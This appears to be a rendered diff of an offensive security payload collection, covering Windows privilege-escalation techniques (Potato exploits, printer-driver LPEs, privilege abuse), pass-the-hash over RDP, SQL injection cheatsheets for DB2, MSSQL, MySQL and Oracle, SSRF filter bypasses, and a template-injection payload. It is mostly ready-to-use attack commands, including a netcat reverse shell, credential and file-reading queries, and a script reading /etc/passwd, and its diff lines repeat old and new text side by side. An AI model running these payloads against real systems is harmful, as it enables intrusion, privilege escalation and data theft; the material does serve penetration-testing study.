[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
```
```ps1
PS C:\target> $serverName = 'printer-installed-host'
PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName
```
### Bring Your Own Vulnerability
Concealed Position : https://github.com/jacob-baines/concealed_position
* ACIDDAMAGE - [CVE-2021-35449](https://nvd.nist.gov/vuln/detail/CVE-2021-35449) - Lexmark Universal Print Driver LPE
* RADIANTDAMAGE - [CVE-2021-38085](https://nvd.nist.gov/vuln/detail/CVE-2021-38085) - Canon TR150 Print Driver LPE
* POISONDAMAGE - [CVE-2019-19363](https://nvd.nist.gov/vuln/detail/CVE-2019-19363) - Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE - [CVE-2020-1300](https://nvd.nist.gov/vuln/detail/CVE-2020-1300) - Windows Print Spooler LPE
```powershell
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
```
## EoP - Runas ## EoP - Runas
Use the `cmdkey` to list the stored credentials on the machine. Use the `cmdkey` to list the stored credentials on the machine.
@ -974,7 +1122,7 @@ Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary bel
|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br> <br>- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.<br> <br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter. | |`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br> <br>- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.<br> <br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. || |`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. ||
|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | |`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) | |`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys` or `capcom.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) |
|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. | |`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`<br>2. `icalcs.exe "%windir%\system32" /grant "%username%":F`<br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. | |`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`<br>2. `icalcs.exe "%windir%\system32" /grant "%username%":F`<br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.<br> <br>To be verified. || |`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.<br> <br>To be verified. ||
@ -1010,7 +1158,6 @@ SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
``` ```
### Meterpreter getsystem and alternatives ### Meterpreter getsystem and alternatives
```powershell ```powershell
@ -1023,8 +1170,8 @@ python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
### RottenPotato (Token Impersonation) ### RottenPotato (Token Impersonation)
Binary available at : https://github.com/foxglovesec/RottenPotato * Binary available at : https://github.com/foxglovesec/RottenPotato
Binary available at : https://github.com/breenmachine/RottenPotatoNG * Binary available at : https://github.com/breenmachine/RottenPotatoNG
```c ```c
getuid getuid
@ -1043,10 +1190,12 @@ Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -n
``` ```
### Juicy Potato (abusing the golden privileges) ### Juicy Potato (Abusing the golden privileges)
Binary available at : https://github.com/ohpe/juicy-potato/releases > If the machine is **>= Windows 10 1809 & Windows Server 2019** - Try **Rogue Potato**
:warning: Juicy Potato doesn't work on Windows Server 2019 and Windows 10 1809 +. > If the machine is **< Windows 10 1809 < Windows Server 2019** - Try **Juicy Potato**
* Binary available at : https://github.com/ohpe/juicy-potato/releases
1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication) 1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication)
@ -1077,6 +1226,39 @@ Binary available at : https://github.com/ohpe/juicy-potato/releases
[+] CreateProcessWithTokenW OK [+] CreateProcessWithTokenW OK
``` ```
### Rogue Potato (Fake OXID Resolver)
* Binary available at https://github.com/antonioCoco/RoguePotato
```powershell
# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999
# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine.
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"
# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999
#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
```
### EFSPotato (MS-EFSR EfsRpcOpenFileRaw)
* Binary available at https://github.com/zcgonvh/EfsPotato
```powershell
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs
# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
```
## EoP - Privileged File Write ## EoP - Privileged File Write
@ -1243,7 +1425,7 @@ python2 send_and_execute.py 10.0.0.1 revshell.exe
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
Working on : Requirement:
- Windows 7 - Windows 7
- Windows 10 LTSC 10240 - Windows 10 LTSC 10240
@ -1255,28 +1437,6 @@ Failing on :
Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
## EoP - $PATH Interception
Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is _before_ the folder that contains the legitimate binary.
EXAMPLE:
```
//(Powershell) List contents of the PATH environment variable
//EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path
//See permissions of the target folder
//EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"
//Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```
Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
## References ## References
* [Windows Internals Book - 02/07/2017](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals) * [Windows Internals Book - 02/07/2017](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals)
@ -1312,3 +1472,5 @@ Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\sys
* [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html) * [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html)
* [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/) * [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/)
* [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1) * [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1)
* [Abusing SeLoadDriverPrivilege for privilege escalation - 14 - JUN - 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
* [Universal Privilege Escalation and Persistence Printer - AUGUST 2, 2021)](https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/)

View File

@ -292,6 +292,7 @@ Abuse RDP protocol to execute commands remotely with the following commands;
# pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group. # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
# pass the hash works for Server 2012 R2 / Win 8.1+ # pass the hash works for Server 2012 R2 / Win 8.1+
# require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d
``` ```
* [SharpRDP](https://github.com/0xthirteen/SharpRDP) * [SharpRDP](https://github.com/0xthirteen/SharpRDP)

View File

@ -63,10 +63,11 @@ Using CRLF to bypass "javascript" blacklisted keyword
java%0d%0ascript%0d%0a:alert(0) java%0d%0ascript%0d%0a:alert(0)
``` ```
Using "//" to bypass "http" blacklisted keyword Using "//" & "////" to bypass "http" blacklisted keyword
```powershell ```powershell
//google.com //google.com
////google.com
``` ```
Using "https:" to bypass "//" blacklisted keyword Using "https:" to bypass "//" blacklisted keyword

View File

@ -0,0 +1,208 @@
# DB2 Injection
>
## Summary
* [DB2 Cheatsheet](#db2-cheatsheet)
* [References](#references)
## DB2 Cheatsheet
### Version
```sql
select versionnumber, version_timestamp from sysibm.sysversions;
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
select service_level,bld_level from sysibmadm.env_inst_info
```
### Comments
```sql
select blah from foo -- comment like this (double dash)
```
### Current User
```sql
select user from sysibm.sysdummy1
select session_user from sysibm.sysdummy1
select system_user from sysibm.sysdummy1
```
### List Users
DB2 uses OS accounts
```sql
select distinct(authid) from sysibmadm.privileges -- priv required
select grantee from syscat.dbauth -- incomplete results
select distinct(definer) from syscat.schemata -- more accurate
select distinct(grantee) from sysibm.systabauth -- same as previous
```
### List Privileges
```sql
select * from syscat.tabauth -- shows priv on tables
select * from syscat.tabauth where grantee = current user -- shows privs for current user
select * from syscat.dbauth where grantee = current user;;
select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies
```
### List DBA Accounts
```sql
select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = Y or SYSADMAUTH = G
```
### Current Database
```sql
select current server from sysibm.sysdummy1
```
### List Databases
```sql
select distinct(table_catalog) from sysibm.tables
SELECT schemaname FROM syscat.schemata;
```
### List Columns
```sql
select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat
```
### List Tables
```sql
select table_name from sysibm.tables
select name from sysibm.systables
```
### Find Tables From Column Name
```sql
select tbname from sysibm.syscolumns where name='username'
```
### Select Nth Row
```sql
select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
```
### Select Nth Char
```sql
select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b
```
### Bitwise AND/OR/NOT/XOR
```sql
select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot
```
### ASCII Value
```sql
Char select chr(65) from sysibm.sysdummy1 -- returns 'A'
```
### Char -> ASCII Value
```sql
select ascii('A') from sysibm.sysdummy1 -- returns 65
```
### Casting
```sql
select cast('123' as integer) from sysibm.sysdummy1
select cast(1 as char) from sysibm.sysdummy1
```
### String Concat
```sql
select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'
```
### IF Statement
Seems only allowed in stored procedures. Use case logic instead.
### Case Statement
```sql
select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1
```
### Avoiding Quotes
```sql
SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too
```
### Time Delay
Heavy queries, for example: If user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response.
However, if user doesn't start with ascii 68, the heavy query won't execute and thus the response will be faster.
```sql
' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68
```
### Serialize to XML (for error based)
```sql
select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.
```
### Command Execution and Local File Access
Seems it's only allowed from procedures or UDFs.
### Hostname/IP and OS INFO
```sql
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv
```
### Location of DB Files
```sql
select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv
```
### System Config
```sql
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.
```
### Default System Database
* SYSIBM
* SYSCAT
* SYSSTAT
* SYSPUBLIC
* SYSIBMADM
* SYSTOOLs
## References
* [DB2 SQL injection cheat sheet - Adrián - 20/05/2012](https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/)
* [DB2 SQL Injection Cheat Sheet - pentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)

View File

@ -2,9 +2,11 @@
## Summary ## Summary
* [MSSQL comments](#mssql-comments) * [MSSQL Comments](#mssql-comments)
* [MSSQL version](#mssql-version) * [MSSQL User](#mssql-user)
* [MSSQL database name](#mssql-database-name) * [MSSQL Version](#mssql-version)
* [MSSQL Hostname](#mssql-hostname)
* [MSSQL Database name](#mssql-database-name)
* [MSSQL List databases](#mssql-list-databases) * [MSSQL List databases](#mssql-list-databases)
* [MSSQL List columns](#mssql-list-columns) * [MSSQL List columns](#mssql-list-columns)
* [MSSQL List tables](#mssql-list-tables) * [MSSQL List tables](#mssql-list-tables)
@ -22,7 +24,7 @@
* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin) * [MSSQL Make user DBA](#mssql-make-user-dba-db-admin)
* [MSSQL Trusted Links](#mssql-trusted-links) * [MSSQL Trusted Links](#mssql-trusted-links)
## MSSQL comments ## MSSQL Comments
```sql ```sql
-- comment goes here -- comment goes here
@ -33,6 +35,9 @@
```sql ```sql
SELECT CURRENT_USER SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;
``` ```
## MSSQL version ## MSSQL version
@ -41,7 +46,14 @@ SELECT CURRENT_USER
SELECT @@version SELECT @@version
``` ```
## MSSQL database name ## MSSQL Hostname
```sql
SELECT HOST_NAME()
SELECT @@hostname;
```
## MSSQL Database name
```sql ```sql
SELECT DB_NAME() SELECT DB_NAME()
@ -52,6 +64,7 @@ SELECT DB_NAME()
```sql ```sql
SELECT name FROM master..sysdatabases; SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, … SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
``` ```
## MSSQL List columns ## MSSQL List columns
@ -71,6 +84,7 @@ SELECT name FROM someotherdb..sysobjects WHERE xtype = U;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=sometable; — list colum names and types for master..sometable SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=sometable; — list colum names and types for master..sometable
SELECT table_catalog, table_name FROM information_schema.columns SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
``` ```
## MSSQL Extract user/password ## MSSQL Extract user/password
@ -122,6 +136,13 @@ For string inputs : ' + cast((SELECT @@version) as int) + '
## MSSQL Blind based ## MSSQL Blind based
```sql ```sql
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
@ -283,4 +304,5 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
* [MSSQL Trusted Links - HackTricks.xyz](https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links) * [MSSQL Trusted Links - HackTricks.xyz](https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links)
* [SQL Server Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/) * [SQL Server Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/)
* [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT) * [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT)
* [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e) * [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e)
* [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975)

View File

@ -389,6 +389,10 @@ Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The
' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- ' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
``` ```
```sql
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
```
If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query
```sql ```sql

View File

@ -58,6 +58,8 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
| Invalid XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual | | Invalid XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
| Invalid XML | SELECT to_char(dbms_xmlgen.getxml('select "'&#124;&#124;(select user from sys.dual)&#124;&#124;'" FROM sys.dual')) FROM dual | | Invalid XML | SELECT to_char(dbms_xmlgen.getxml('select "'&#124;&#124;(select user from sys.dual)&#124;&#124;'" FROM sys.dual')) FROM dual |
| Invalid XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username &#124;&#124; ',')),'/s').getstringval(),',') FROM all_users | | Invalid XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username &#124;&#124; ',')),'/s').getstringval(),',') FROM all_users |
| SQL Error | SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) |
## Oracle SQL Blind ## Oracle SQL Blind

View File

@ -12,6 +12,7 @@
* [Bypass localhost with a domain redirection](#bypass-localhost-with-a-domain-redirection) * [Bypass localhost with a domain redirection](#bypass-localhost-with-a-domain-redirection)
* [Bypass localhost with CIDR](#bypass-localhost-with-cidr) * [Bypass localhost with CIDR](#bypass-localhost-with-cidr)
* [Bypass using a decimal IP location](#bypass-using-a-decimal-ip-location) * [Bypass using a decimal IP location](#bypass-using-a-decimal-ip-location)
* [Bypass using octal IP](#bypass-using-octal-ip)
* [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6ipv4-address-embedding) * [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6ipv4-address-embedding)
* [Bypass using malformed urls](#bypass-using-malformed-urls) * [Bypass using malformed urls](#bypass-using-malformed-urls)
* [Bypass using rare address](#bypass-using-rare-address) * [Bypass using rare address](#bypass-using-rare-address)
@ -136,13 +137,29 @@ http://127.0.0.0
### Bypass using a decimal IP location ### Bypass using a decimal IP location
```powershell ```powershell
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1 http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1 http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1 http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254 http://2852039166/ = http://169.254.169.254
``` ```
### Bypass using octal IP
Implementations differ on how to handle octal format of ipv4.
```sh
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
...
```
Ref:
- [DEFCON 29-KellyKaoudis SickCodes-Rotten code, aging standards & pwning IPv4 parsing](https://www.youtube.com/watch?v=_o1RPJAe4kU)
- [AppSecEU15-Server_side_browsing_considered_harmful.pdf](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
### Bypass using IPv6/IPv4 Address Embedding ### Bypass using IPv6/IPv4 Address Embedding
[IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm) [IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm)
@ -433,7 +450,7 @@ gopher://127.0.0.1:6379/_save
## SSRF exploiting PDF file ## SSRF exploiting PDF file
![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_PDF.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_PDF.jpg?raw=true) ![https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Request%20Forgery/Images/SSRF_PDF.png](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Request%20Forgery/Images/SSRF_PDF.png)
Example with [WeasyPrint by @nahamsec](https://www.youtube.com/watch?v=t5fB6OZsR6c&feature=emb_title) Example with [WeasyPrint by @nahamsec](https://www.youtube.com/watch?v=t5fB6OZsR6c&feature=emb_title)
@ -441,6 +458,18 @@ Example with [WeasyPrint by @nahamsec](https://www.youtube.com/watch?v=t5fB6OZsR
<link rel=attachment href="file:///root/secret.txt"> <link rel=attachment href="file:///root/secret.txt">
``` ```
Example with PhantomJS
```js
<script>
exfil = new XMLHttpRequest();
exfil.open("GET","file:///etc/passwd");
exfil.send();
exfil.onload = function(){document.write(this.responseText);}
exfil.onerror = function(){document.write('failed!')}
</script>
```
## Blind SSRF ## Blind SSRF
> When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. > When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read.
@ -797,6 +826,7 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se
## References ## References
- [AppSecEU15-Server_side_browsing_considered_harmful.pdf](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
- [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13](https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/) - [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13](https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/)
- [ESEA Server-Side Request Forgery and Querying AWS Meta Data](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) by Brett Buerhaus - [ESEA Server-Side Request Forgery and Querying AWS Meta Data](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) by Brett Buerhaus
- [SSRF and local file read in video to gif converter](https://hackerone.com/reports/115857) - [SSRF and local file read in video to gif converter](https://hackerone.com/reports/115857)

View File

@ -46,4 +46,63 @@ ${"freemarker.template.utility.Execute"?new()("id")}
